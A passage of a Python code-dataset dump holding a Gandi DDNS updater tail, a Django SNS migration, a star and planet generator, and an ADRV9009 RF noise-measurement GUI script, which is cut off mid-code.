outdated_records.append(a_record)\n\n return outdated_records\n\n\n# Function to update the outdated records\ndef update_dns_zone(api, apiKey, zone_name, current_ip_address):\n updated_records = []\n\n # Get the current zone id version\n zone_id, zone_version = get_zone_id_version(api, apiKey, zone_name)\n\n # create a new version of the zone file\n new_zone_version = api.domain.zone.version.new(apiKey, zone_id)\n\n # Get the outdated records\n outdated_records = get_outdated_records(api, apiKey, current_ip_address, zone_id, new_zone_version)\n\n # Go through the outdated records\n for record in outdated_records:\n record_id = { 'id': record['id'] }\n data = { 'name': record['name'], 'type': record['type'], 'value': current_ip_address }\n\n # Update the record\n updated_records.append(api.domain.zone.record.update(apiKey, zone_id, new_zone_version, record_id, data))\n\n # If the number of outdated records is equal to the number of update records\n if len(outdated_records) == len(updated_records):\n # Set the new version as the current version\n api.domain.zone.version.set(apiKey, zone_id, new_zone_version)\n\n # Delete the old version\n api.domain.zone.version.delete(apiKey, zone_id, zone_version)\n log.info('Records updated for zone \"timmer.pro\", total {0} record(s) updated'.format(str(len(updated_records))))\n\n\n# If the script is called directly\nif __name__ == '__main__':\n current_ip_address = get_current_ip_address()\n #current_ip_address = '62.45.245.48'\n\n api = xmlrpclib.ServerProxy('https://rpc.gandi.net/xmlrpc/')\n apiKey = ''\n\n outdate_records = get_outdated_records(api, apiKey, current_ip_address)\n\n if len(outdate_records) > 0:\n update_dns_zone(api, apiKey, 'timmer.pro', current_ip_address)\n else:\n log.info('No records to be updated for zone \"timmer.pro\"')\n\n\n","sub_path":"DDNS.py","file_name":"DDNS.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"406378966","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Notification',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('messageId', models.CharField(max_length=48)),\n ('topicArn', models.CharField(max_length=256)),\n ('subject', models.CharField(max_length=100)),\n ('message', models.TextField()),\n ('timestamp', models.DateTimeField()),\n ('status', models.CharField(default=b'PENDING', max_length=9, choices=[(b'PENDING', b'Pending'), (b'PROCESSED', b'Processed'), (b'ERROR', b'Error')])),\n ('modified', models.DateTimeField(auto_now=True)),\n ('errors', models.TextField(null=True, blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='Subscription',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('topic', models.CharField(max_length=128)),\n ('messageId', models.CharField(max_length=48)),\n ('token', models.CharField(max_length=256, null=True, blank=True)),\n ('topicArn', models.CharField(max_length=256)),\n ('message', models.TextField()),\n ('subscribeURL', models.URLField(max_length=512, null=True, blank=True)),\n ('timestamp', models.DateTimeField()),\n ('signatureVersion', models.CharField(max_length=32, null=True, blank=True)),\n ('signature', models.TextField(null=True, blank=True)),\n ('signingCertURL', models.URLField(max_length=512, null=True, blank=True)),\n ('status', models.CharField(default=b'PENDING', max_length=7, choices=[(b'ACTIVE', b'Active'), (b'PENDING', b'Pending'), (b'RETIRED', b'Retired')])),\n ('modified', models.DateTimeField(auto_now=True)),\n ('errors', models.TextField(null=True, blank=True)),\n ],\n ),\n ]\n","sub_path":"sns/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"308452335","text":"# Revision 1.0 // PLEASE MAKE A COPY AND EDIT BEFORE MAKING CHANGES\r\n\r\nimport random\r\nimport math\r\n\r\n\r\nclass Sun:\r\n def __init__(self, seed):\r\n self.name = \"\"\r\n self.id = seed # int\r\n self.star_class = '' # Letter O, B, A, F, G, K, M\r\n self.mass = None # int, *10^26 kilograms\r\n self.temperature = None # Int, degrees kelvin\r\n self.radius = None # int, kilometers\r\n\r\n random.seed = self.id\r\n t_val = random.random() # Temp variable\r\n if t_val <= 0.0000003:\r\n self.star_class = 'O'\r\n self.mass = random.randrange(160000, 320000) # *10^26 kilograms\r\n self.radius = self.mass * 0.4125 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 42.6264386916 + 6666.67) # Kelvin (many thousands) The area of the sun multiplies by the gradient of the relationship between area and termperate for its class\r\n elif 0.0000003 < t_val <= 0.0013003:\r\n self.star_class = 'B'\r\n self.mass = random.randrange(21000, 160000) # *10^26 kilograms\r\n self.radius = self.mass * 0.345323741007 + 1.47842 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 39.4729521557 + 8392.86)\r\n elif 0.0013003 < t_val <= 0.0073003:\r\n self.star_class = 'A'\r\n self.mass = random.randrange(14000, 21000) # *10^26 kilograms\r\n self.radius = self.mass * 0.571428571429 + 0.6 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 155.424749113 + 3671.88)\r\n elif 0.0073003 < t_val <= 0.0373003:\r\n self.star_class = 'F'\r\n self.mass = random.randrange(10400, 14000) # *10^26 kilograms\r\n self.radius = self.mass * 0.694444444444 + 1.58333 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 187.24110952 + 2888.24)\r\n elif 0.0373003 < t_val <= 0.1133:\r\n self.star_class = 'G'\r\n self.mass = random.randrange(8000, 10400) # *10^26 kilograms\r\n self.radius = self.mass * 0.791666666667 + 0.326667 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 158.797648383 + 3360.94)\r\n elif 0.1133 < t_val <= 0.2343:\r\n self.star_class = 'K'\r\n self.mass = random.randrange(4500, 8000) # *10^26 kilograms\r\n self.radius = self.mass * 1.34615384615 + 0.365714 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 276.56674541 + 1997.03)\r\n else:\r\n self.star_class = 'M'\r\n self.mass = random.randrange(800, 4500) # *10^26 kilograms\r\n self.radius = self.mass * 1.75675675676 + -0.77973 # In Solar radii (6.975*10^5km)\r\n self.temperature = math.floor(4*math.pi*self.radius*self.radius * 212.206590789 + 2393.33)\r\n\r\n\r\nclass Planet:\r\n def __init__(self, seed, minimum_orbit, central_body):\r\n self.radius = None # Orbit radius\r\n self.p_type = None\r\n self.id = seed\r\n self.orbital_speed = None # How long it takes to orbit central body\r\n self.axis = None # Planets inclination relative to the orbital plane\r\n self.p_axis = None # Planet's axis tilt\r\n self.moons = None\r\n self.atmosphere = None\r\n self.temperature = None # Surface temperature\r\n self.mass = None\r\n self.p_radius = None # The base radius of the planet itself\r\n self.gravity = None # Gravitational pull at p_radius\r\n if minimum_orbit == 0 or minimum_orbit < 0 or minimum_orbit is None:\r\n minimum_orbit = central_body.radius * 1.05 + 0.5*central_body.radius\r\n self.radius = random.randrange(minimum_orbit, central_body.mass * 1000000000000000000000000000) # In Solar radii (6.975*10^5km) # Completely Arbitary, will need additional research but probably out of the scope of game\r\n random.seed = self.id\r\n t_val = random.random()\r\n if self.radius < central_body.radius * 300:\r\n if t_val <= 0.5:\r\n self.p_type = 'rock'\r\n else:\r\n self.p_type = 'gas'\r\n # Rocky or Gas (0% ice planet)\r\n if central_body.radius * 300 <= self.radius < central_body.radius * 700: # Semi habitable? Needs additional research\r\n if t_val <= 0.45:\r\n self.p_type = 'rock'\r\n elif 0.45 < t_val <= 0.8:\r\n self.p_type = 'gas'\r\n else:\r\n self.p_type = 'ice'\r\n # Rocky or Gas or ice (45% rocky, 35% gas, 20% ice\r\n else:\r\n if t_val <= 0.1:\r\n self.type = 'gas'\r\n if 0.1 < t_val <= 0.55:\r\n self.type = 'rock'\r\n else:\r\n self.type = 'ice'\r\n # Rocky or ice (~10% of gas, 45% other)\r\n self.orbital_speed = (2*math.pi*math.sqrt(self.radius*self.radius*self.radius))/(math.sqrt(6.67*10**-11)*math.sqrt(central_body.mass)) # How long it takes to orbit central body\r\n self.axis = random.randint(0, 10) # Planets inclination relative to the orbital plane\r\n self.p_axis = random.randrange(0, 90) # Planet's axis tilt in degrees from vertical\r\n self.p_radius = math.floor(random.randrange(900, 0.05 * central_body.radius)) # The base radius of the planet itself in km\r\n if self.p_type is 'gas':\r\n # gassy things\r\n self.mass = math.floor((4/3) * math.pi * self.p_radius**3 * random.randrange(0.9, 1.8)) # in kg\r\n self.atmosphere = None\r\n self.temperature = random.randint(800, 1400) # Surface temperature in kelvin\r\n if self.p_type is 'rock':\r\n # rocky things\r\n self.mass = math.floor((4/3) * math.pi * self.p_radius**3 * random.randrange(0.8, 1.1))\r\n self.atmosphere = random.randint(0, 1)\r\n if self.atmosphere == 1:\r\n self.temperature = random.randint(230, 380) # Surface temperature\r\n else:\r\n self.temperature = random.randint(125, 800)\r\n else:\r\n # icy things\r\n self.mass = math.floor((4/3) * math.pi * self.p_radius**3 * random.randrange(0.9, 1.1))\r\n self.atmosphere = random.randint(0, 1)\r\n if self.atmosphere == 1:\r\n self.temperature = random.randint(200, 270)\r\n else:\r\n self.temperature = random.randint(125, 270) # Surface temperature\r\n self.gravity = ((6.67*10**-11) * self.mass)/self.p_radius**2 # Gravitational pull at p_radius\r\n self.moons = {}\r\n for m in range(0, random.randint(0, 3)):\r\n self.moons[m] = Planet(self.id + 1, self.p_radius * 1.2, self)\r\n\r\n","sub_path":"solar_gen.py","file_name":"solar_gen.py","file_ext":"py","file_size_in_byte":6926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"168716441","text":"# File: ps_noise_sniffer.py\n# Description: Power Supply Noise Sniffer\n# Author: Mark Thoren (mark.thoren@analog.com)\n# Antoniu Miclaus (antoniu.miclaus@analog.com)\n#\n# Copyright 2018(c) Analog Devices, Inc.\n#\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# - Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# - Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# - Neither the name of Analog Devices, Inc. nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n# - The use of this software may or may not infringe the patent rights\n# of one or more patent holders. This license does not release you\n# from the requirement that you obtain separate licenses from these\n# patent holders to use this software.\n# - Use of the software either in source or binary form, must be run\n# on or directly connected to an Analog Devices Inc. component.\n#\n# THIS SOFTWARE IS PROVIDED BY ANALOG DEVICES \"AS IS\" AND ANY EXPRESS OR\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, NON-INFRINGEMENT,\n# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL ANALOG DEVICES BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, INTELLECTUAL PROPERTY RIGHTS, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n'''\nDerived from an example posted here:\nhttps://ez.analog.com/thread/99958-ad9361-libiio-api-python-binding\n\nA useful nugget for verifying throughput, from:\nhttps://wiki.analog.com/university/tools/pluto/devs/performance\nADALM-PLUTO Performance Metrics:\nData Throughput (USB)\n\nVia IIOD USB backend\niio_readdev -u usb:1.100.5 -b 100000 cf-ad9361-lpc | pv > /dev/null\n210GiB 1:19:51 [26,1MiB/s] [ <=> \n\nVia IIOD Network backend\niio_readdev -n 192.168.2.1 -b 100000 cf-ad9361-lpc | pv > /dev/null\n203MiB 0:00:10 [20,4MiB/s] [ <=> \n\n'''\n\nimport sys, os\nimport time\n\ntry:\n import tkinter as tk\n from tkinter import filedialog\n import tkinter.scrolledtext as tkscrolled\n\nexcept:\n print(\"Please install tkinter\")\ntry:\n import csv\nexcept:\n print(\"Please install csv\")\ntry:\n import pandas as pd\nexcept:\n print(\"Please install pandas\")\ntry:\n import numpy as np\nexcept:\n print(\"Please install numpy\")\n\ntry:\n import matplotlib.pyplot as plt\n from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nexcept:\n print(\"Please install matplotlib\")\n\ntry: \n import iio\nexcept:\n sys.path.append('C:/Users/fhurgoi/Documents/libiio-master/bindings/python') #add own path to python bindings\n import iio\n\ntry:\n import serial\nexcept:\n print(\"Please install pywin32\")\n\nimport plotly\nimport plotly.graph_objs as go\n\ntry:\n import scipy.signal\nexcept:\n pritn(\"Please install scipy\")\n\n#Error\nERROR = -1\n\n#Success\nSUCCESS = 0\n\n# channel name index mapping\n# for phy:\nTMP = 2\n\n# buffer length index mapping\nBUFLEN = 2 ** 17\n\n# ADRV9009 operational parameters\nN_BITS = 16\n\nTRXLO = 1000e6\n\nTX0BW = 225e6\nTX0FS = 245.76e6\nRX0BW = 100e6\nRX0FS = 122.88e6#122.88e6\n\nFREQ_BAND = 100e6\n\n#TX tone frequency \nTXDAC_FREQ = 10e6 #MHz\n \n#Center frequencies, start frequency, stop frequency index mapping\nCENTER_FREQ = 0\nSTART_FREQ = 1\nSTOP_FREQ = 2\n\ndirname = os.path.dirname(__file__)\n\n# Clear Plot and Message Log\ndef clr_content():\n txt1.delete('1.0', tk.END)\n a.cla()\n canvas.draw()\n \n# Setup Context\ndef connect_device():\n \n global phy_a, phy_b, txdac, rxadc, ctx\n \n try:\n #ctx = iio.Context('ip:10.50.1.210')\n ctx = iio.Context('ip:192.168.1.146')\n except:\n return ERROR\n \n phy_a = ctx.find_device(\"adrv9009-phy\") # Register control\n phy_b = ctx.find_device(\"adrv9009-phy-b\") # Register control\n txdac = ctx.find_device(\"axi-adrv9009-tx-hpc\") # TX/DAC Core in HDL for DMA (plus DDS)\n rxadc = ctx.find_device(\"axi-adrv9009-rx-hpc\") # RX/ADC Core in HDL for DMA\n \n return phy_a, phy_b, txdac, rxadc, ctx\n\ndef connect_generator():\n\n global COMgen, ser\n\n COMgen = str('COM' + gen_COM.get())\n\n # configure the serial connections (the parameters differs on the device you are connecting to)\n ser = serial.Serial(\n port=COMgen,\n baudrate=115200,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS\n )\n\n try:\n port = ser.isOpen()\n print (str(port))\n except serial.SerialException:\n ser.close()\n print (\"port is closed\")\n ser.isOpen()\n print (\"port is open\")\n\n #ser.write(('*IDN?' + '\\r\\n').encode('utf-8'))\n ser.write(('FREQ 70e6' + '\\r\\n').encode('utf-8'))\n ser.write(('POW ' + str(int(tx_pow.get())) + '\\r\\n').encode('utf-8'))\n ser.write(('OUTP OFF' + '\\r\\n').encode('utf-8'))\n\ndef disconnect_generator():\n # configure the serial connections (the parameters differs on the device you are connecting to)\n ser.close()\n\n#Compute frequencies for each band\ndef comp_freq():\n center_freq = np.array([]) #array that holds the center frequencies\n \n #Convert input start/stop frequency values to integers\n try:\n start_f.get()\n stop_f.get()\n except:\n center_freq = np.append(center_freq, ERROR)\n return center_freq\n \n #Get start/stop frequency values\n start_freq = float(start_f.get()) * float(1e6) #MHz\n stop_freq = float(stop_f.get()) * float(1e6) #MHz\n \n #Check if start frequency is larger that input frequency\n if (start_freq > stop_freq or start_freq < 70e6 or stop_freq > 6e9):\n center_freq = np.append(center_freq, ERROR)\n else:\n nr_center_freq = int((stop_freq - start_freq)/FREQ_BAND) + 1 \n center_freq = np.append(center_freq, start_freq)\n \n #Compute center frequencies for each band\n for i in range(1, nr_center_freq):\n center_freq = np.append(center_freq, center_freq[i-1] + FREQ_BAND)\n return center_freq, start_freq, stop_freq\n\ndef configure_device():\n\n with open('Tx_BW200_IR245p76_Rx_BW100_OR122p88_ORx_BW200_OR245p76_DC245p76.txt', 'r') as myfile:\n filterfile = myfile.read()\n\n iio.Context.set_timeout(ctx, 30000);\n time.sleep(0.1)\n\n phy_a.attrs[\"profile_config\"].value = filterfile\n phy_b.attrs[\"profile_config\"].value = filterfile\n\n iio.Context.set_timeout(ctx, 3000);\n\ndef RXA1():\n\n rx_channel = phy_a.find_channel(\"voltage0\")\n return rx_channel\n\ndef RXA2():\n\n rx_channel = phy_a.find_channel(\"voltage1\")\n return rx_channel\n\ndef RXB1():\n\n rx_channel = phy_b.find_channel(\"voltage0\")\n return rx_channel\n\ndef RXB2():\n\n rx_channel = phy_b.find_channel(\"voltage1\")\n return rx_channel\n\n#Transciever settings \ndef setup_device():\n \n global tx, rx, TX1_I_F1, TX1_Q_F1, TX2_I_F1, TX2_Q_F1, TX2_Q_F1, TX3_I_F1, TX3_Q_F1, TX4_I_F1, TX4_Q_F1\n global TRX_LO_A, TRX_LO_B\n\n # Global configuration\n TRX_LO_A = phy_a.find_channel(\"altvoltage0\", True)\n TRX_LO_A.attrs[\"frequency\"].value = str(int(TRXLO))\n TRX_LO_A.attrs[\"frequency_hopping_mode_enable\"].value = str(0)\n\n TRX_LO_B = phy_b.find_channel(\"altvoltage0\", True)\n TRX_LO_B.attrs[\"frequency\"].value = str(int(TRXLO))\n TRX_LO_B.attrs[\"frequency_hopping_mode_enable\"].value = str(0)\n\n # Default RX Configuration\n\n #configure just the RX channel under test\n rx_chann = {\"RX1\": RXA1, \"RX2\": RXA2, \"RX3\": RXB1, \"RX4\": RXB2}\n func = rx_chann.get(rx_channel.get(), \"nothing\")\n rx = func()\n\n rx.attrs['gain_control_mode'].value = \"manual\"\n rx.attrs['hardwaregain'].value = rx_gain.get()\n #rx.attrs[\"rf_bandwidth\"].value = (str(int(RX0BW)))\n #rx.attrs[\"sampling_frequency\"].value = str(int(RX0FS))\n #rx.attrs[\"powerdown\"].value = str(0)\n\n #rx.attrs[\"gain_control_pin_mode_en\"].value = str(1)\n if(track_en.get() == True):\n rx.attrs['quadrature_tracking_en'].value = str(1)\n else:\n rx.attrs['quadrature_tracking_en'].value = str(0)\n\n # axi-adrv9009-tx-hpc (buffer capable) channels\n TX1_I_F1 = txdac.find_channel('altvoltage0',True)\n TX1_I_F2 = txdac.find_channel('altvoltage1',True)\n TX1_Q_F1 = txdac.find_channel('altvoltage2',True)\n TX1_Q_F2 = txdac.find_channel('altvoltage3',True)\n TX2_I_F1 = txdac.find_channel('altvoltage4',True)\n TX2_I_F2 = txdac.find_channel('altvoltage5',True)\n TX2_Q_F1 = txdac.find_channel('altvoltage6',True)\n TX2_Q_F2 = txdac.find_channel('altvoltage7',True)\n TX3_I_F1 = txdac.find_channel('altvoltage8',True)\n TX3_I_F2 = txdac.find_channel('altvoltage9',True)\n TX3_Q_F1 = txdac.find_channel('altvoltage10',True)\n TX3_Q_F2 = txdac.find_channel('altvoltage11',True)\n TX4_I_F1 = txdac.find_channel('altvoltage12',True)\n TX4_I_F2 = txdac.find_channel('altvoltage13',True)\n TX4_Q_F1 = txdac.find_channel('altvoltage14',True)\n TX4_Q_F2 = txdac.find_channel('altvoltage15',True)\n\n # Turn TX tone off\n TX1_I_F1.attrs[\"frequency\"].value = \"10000000\"\n TX1_I_F1.attrs[\"scale\"].value = \"0.0\"#\"0.031616\"#\"0.1\" = -20dBFS, \"0.031616 = -30dBFS = -20dBm\"\n TX1_Q_F1.attrs[\"frequency\"].value = \"10000000\"\n TX1_Q_F1.attrs[\"scale\"].value = \"0.0\"\n TX1_I_F2.attrs[\"frequency\"].value = \"10000000\"\n TX1_I_F2.attrs[\"scale\"].value = \"0.0\"#\"0.031616\"#\"0.1\" = -20dBFS, \"0.031616 = -30dBFS = -20dBm\"\n TX1_Q_F2.attrs[\"frequency\"].value = \"10000000\"\n TX1_Q_F2.attrs[\"scale\"].value = \"0.0\"\n TX2_I_F1.attrs[\"frequency\"].value = \"10000000\"\n TX2_I_F1.attrs[\"scale\"].value = \"0.0\"\n TX2_Q_F1.attrs[\"frequency\"].value = \"10000000\"\n TX2_Q_F1.attrs[\"scale\"].value = \"0.0\"\n TX2_I_F2.attrs[\"frequency\"].value = \"10000000\"\n TX2_I_F2.attrs[\"scale\"].value = \"0.0\"\n TX2_Q_F2.attrs[\"frequency\"].value = \"10000000\"\n TX2_Q_F2.attrs[\"scale\"].value = \"0.0\"\n TX3_I_F1.attrs[\"frequency\"].value = \"10000000\"\n TX3_I_F1.attrs[\"scale\"].value = \"0.0\"\n TX3_Q_F1.attrs[\"frequency\"].value = \"10000000\"\n TX3_Q_F1.attrs[\"scale\"].value = \"0.0\"\n TX3_I_F2.attrs[\"frequency\"].value = \"10000000\"\n TX3_I_F2.attrs[\"scale\"].value = \"0.0\"\n TX3_Q_F2.attrs[\"frequency\"].value = \"10000000\"\n TX3_Q_F2.attrs[\"scale\"].value = \"0.0\"\n TX4_I_F1.attrs[\"frequency\"].value = \"10000000\"\n TX4_I_F1.attrs[\"scale\"].value = \"0.0\"\n TX4_Q_F1.attrs[\"frequency\"].value = \"10000000\"\n TX4_Q_F1.attrs[\"scale\"].value = \"0.0\"\n TX4_I_F2.attrs[\"frequency\"].value = \"10000000\"\n TX4_I_F2.attrs[\"scale\"].value = \"0.0\"\n TX4_Q_F2.attrs[\"frequency\"].value = \"10000000\"\n TX4_Q_F2.attrs[\"scale\"].value = \"0.0\"\n\n v0_i = rxadc.find_channel(\"voltage0_i\")\n v0_q = rxadc.find_channel(\"voltage0_q\")\n v1_i = rxadc.find_channel(\"voltage1_i\")\n v1_q = rxadc.find_channel(\"voltage1_q\")\n v2_i = rxadc.find_channel(\"voltage2_i\")\n v2_q = rxadc.find_channel(\"voltage2_q\")\n v3_i = rxadc.find_channel(\"voltage3_i\")\n v3_q = rxadc.find_channel(\"voltage3_q\")\n v0_i.enabled = False\n v0_q.enabled = False\n v1_i.enabled = False\n v1_q.enabled = False\n v2_i.enabled = False\n v2_q.enabled = False\n v3_i.enabled = False\n v3_q.enabled = False\n\n # Enable I/Q channels to be associated with RX buffer\n if(rx_channel.get() == \"RX1\"):\n v0_i.enabled = True\n v0_q.enabled = True\n elif(rx_channel.get() == \"RX2\"):\n v1_i.enabled = True\n v1_q.enabled = True\n elif(rx_channel.get() == \"RX3\"):\n v2_i.enabled = True\n v2_q.enabled = True\n elif(rx_channel.get() == \"RX4\"):\n v3_i.enabled = True\n v3_q.enabled = True\n else:\n txt1.insert(tk.END, 'Ghinion. Nu-i bine canalu de RX!\\n\\n')\n\n #turn radio on\n phy_a.attrs[\"ensm_mode\"]. value = \"radio_on\"\n phy_b.attrs[\"ensm_mode\"]. value = \"radio_on\"\n\n\n#Die temperature\ndef die_temp():\n \n temp_a = int(phy_a.channels[TMP].attrs[\"input\"].value) / 1000.0\n txt1.insert(tk.END, 'Die Temperature A: ' + str(temp_a) + '\\n\\n')\n temp_b = int(phy_b.channels[TMP].attrs[\"input\"].value) / 1000.0\n txt1.insert(tk.END, 'Die Temperature B: ' + str(temp_b) + '\\n\\n')\n root.update_idletasks()\n root.update()\n\n#Get and plot data\ndef get_plot_data(dev, center_freq):\n \n global save_freq, save_data, save_noise, save_spur_number, save_max_spur\n global save_spur_freq, save_spur_data\n\n TX_offset = float(tone_offset.get())*1e6\n ylim = [0,0]\n # Create IIO RX Buffer\n rxbuf = iio.Buffer(dev[3], BUFLEN, False) \n \n # Window function, max value = unity\n window = np.hanning(BUFLEN)\n #window = np.blackman(BUFLEN)\n \n avg_step = 0\n avgband = np.array([])\n\n save_data = []\n save_freq = []\n save_noise = []\n save_spur_freq = []\n save_spur_data = []\n save_spur_number = []\n save_max_spur = []\n\n\n if(gen_en.get() == True):\n ser.write(('POW ' + str(int(tx_pow.get())) + '\\r\\n').encode('utf-8'))\n ser.write(('OUTP ON' + '\\r\\n').encode('utf-8'))\n\n ss = 0\n\n while(avg_step == 0):\n\n #acquire data\n for i in range(0, len(center_freq)):\n \n RXLO = center_freq[i]\n if(rx_channel.get() == 'RX1' or rx_channel.get() == 'RX2'):\n TRX_LO_A.attrs[\"frequency\"].value = str(int(RXLO))\n elif(rx_channel.get() == 'RX3' or rx_channel.get() == 'RX4'):\n TRX_LO_B.attrs[\"frequency\"].value = str(int(RXLO))\n else:\n print(\"Nu-i bine!\")\n\n time.sleep(0.2)\n root.update_idletasks()\n root.update()\n \n #generate test tone\n if(gen_en.get() == True):\n ser.write(('FREQ ' + str(RXLO + TX_offset) + '\\r\\n').encode('utf-8'))\n #delay before data acquisition\n time.sleep(0.5)\n \n btn_aq.config(bg = \"red\")\n root.update()\n for k in range(0, int(avg_nr.get())+1):\n #flush operations\n for j in range(5):\n rxbuf.refill()\n x = rxbuf.read()\n \n buff = np.frombuffer(x, dtype=np.int16)\n \n #apply window\n rxvals_i = buff[0::2] * window\n rxvals_q = buff[1::2] * window\n \n #construct complex IQ data\n rxvals_iq = rxvals_i + (1j * rxvals_q)\n\n # apply FFT and get amplitude of the IQ data \n newband = np.abs(np.fft.fft(rxvals_iq)) \n \n #apply averaging\n if(k != 0):\n avgband = (newband) * 1/k + avgband * (k-1) / k;#(newband)/int(avg_nr.get())\n else:\n avgband = newband\n\n btn_aq.config(bg = \"grey\")\n root.update()\n\n #compute cutoff thresholds \n low_th = int(((RX0FS - FREQ_BAND)/(RX0FS * 2)) * BUFLEN)\n high_th = int(BUFLEN - (((RX0FS - FREQ_BAND)/(RX0FS * 2)) * BUFLEN))\n\n #compute frequency bins\n # 0, 1, 2, ..., n/2-1, -n/2,..., -1\n freq_bins = (np.fft.fftfreq(BUFLEN, 1/RX0FS) + (center_freq[0] + FREQ_BAND * i)) /1e6\n\n # Create tuple such that frequencies and corresponding amplitudes can be manipulated together\n tuple1 = zip(freq_bins, avgband)\n \n # Rearrange such that the center frequency is in the middle.\n tuple1 = sorted(tuple1, key=lambda x: x[0])\n #print(tuple1)\n # Extract the passband of the FIR response\n tuple1 = tuple1[low_th : high_th]\n \n #iq = np.array([nr[1] for nr in tuple1]) / (10 ** (gain_calib/10))\n iq = np.array([nr[1] for nr in tuple1])\n fbin = np.array([nr[0] for nr in tuple1])\n\n fft_rxvals_iq_dbFS = 10 * np.log10(iq**2) + 20 * np.log10(2/2**(N_BITS-1))- 20 * np.log10(BUFLEN) + 20 * np.log10(1/(1.5**0.5))# IIO\n # Compute in dB, subtract hardware gain to normalize to absolute analog signal level at input\n\n fft_rxvals_iq_dbm = fft_rxvals_iq_dbFS - 6.7\n\n noise_f = compute_noise_floor(fft_rxvals_iq_dbFS)\n spurs = scipy.signal.find_peaks(fft_rxvals_iq_dbFS, ((noise_f + 6), 0), None, 5, 3, None, None, 0.5, None)\n\n n_bins = fft_rxvals_iq_dbm.size\n\n freqbin = FREQ_BAND/n_bins\n spurs_fund_th_low = int((FREQ_BAND/2 + TX_offset - 3e6)/freqbin)\n spurs_fund_th_high = int((FREQ_BAND/2 + TX_offset + 3e6)/freqbin)\n\n RX_crosstalk_ampl = np.max(fft_rxvals_iq_dbm[spurs_fund_th_low : spurs_fund_th_high])\n\n txt1.insert(tk.END, \"Center Frequency set to: \" + str(RXLO/1e6) + ' MHz\\n')\n txt1.insert(tk.END, \"RX crosstalk : \" + str('%04.3f'%(RX_crosstalk_ampl)+ \" dBm\\n\"))\n txt1.insert(tk.END, \"Noise floor: \" + str('%04.3f'%noise_f)+ \" dBFS\\n\")\n\n spurs_number_band = len(spurs[0])\n spurs_number_save = 0\n for i in range(0, spurs_number_band):\n if spurs[0][i] <= spurs_fund_th_low or spurs_fund_th_high <= spurs[0][i]:\n save_spur_freq.append((RXLO - (FREQ_BAND/2) + ((spurs[0][i])*freqbin))/1e6)#1875\n save_spur_data.append(spurs[1]['peak_heights'][i])\n txt1.insert(tk.END, \"Spurs freq: \" + str('%04.3f'%save_spur_freq[ss+spurs_number_save]) + \" MHz\\n\" +\" Spurs amplitude: \" + str('%04.3f'%save_spur_data[ss+spurs_number_save])+ \" dBm\\n\")\n spurs_number_save += 1\n ss += spurs_number_save\n\n txt1.see(\"end\")\n\n save_freq.append(RXLO/1e6)\n save_data.append(int(tx_pow.get()) - RX_crosstalk_ampl)\n save_noise.append(noise_f)\n save_spur_number.append(spurs_number_save)\n save_max_spur.append(np.max(spurs[1]['peak_heights']))\n\n # Plot data\n a.clear()\n a.grid(True)\n a.set_title('Frequency Spectrum')\n a.set_xlabel('Fequency (MHz)')\n a.set_ylabel('Magnitude')\n\n\n a.plot(fbin, fft_rxvals_iq_dbFS)\n\n canvas.draw()\n root.update_idletasks()\n root.update()\n\n #txt1.insert(tk.END, \"time: \" + str(time.time()) + \"\\n\")\n #txt1.see(\"end\")\n\n if(stop.get() == True):\n break\n \n avg_step += 1\n\n if(gen_en.get() == True):\n #disable TX\n ser.write(('OUTP OFF' + '\\r\\n').encode('utf-8'))\n\n trace0 = go.Scatter(\n x = save_freq,\n y = save_data,\n mode = 'lines+markers',\n name = 'RX Crosstalk'\n )\n\n x_title = 'Frequency (MHz)'\n\n layout = go.Layout(\n # width=1500, height=750,\n title='RX channel separation', titlefont=dict(family='Arial', size=28),\n xaxis=dict(title=x_title, titlefont=dict(family='Arial', size=28),\n tickangle=0, tickfont=dict(family='Arial', size=14), dtick=1000, range = [0, 6000]),\n yaxis=dict(title='Magnitude (dB)', titlefont=dict(family='Arial', 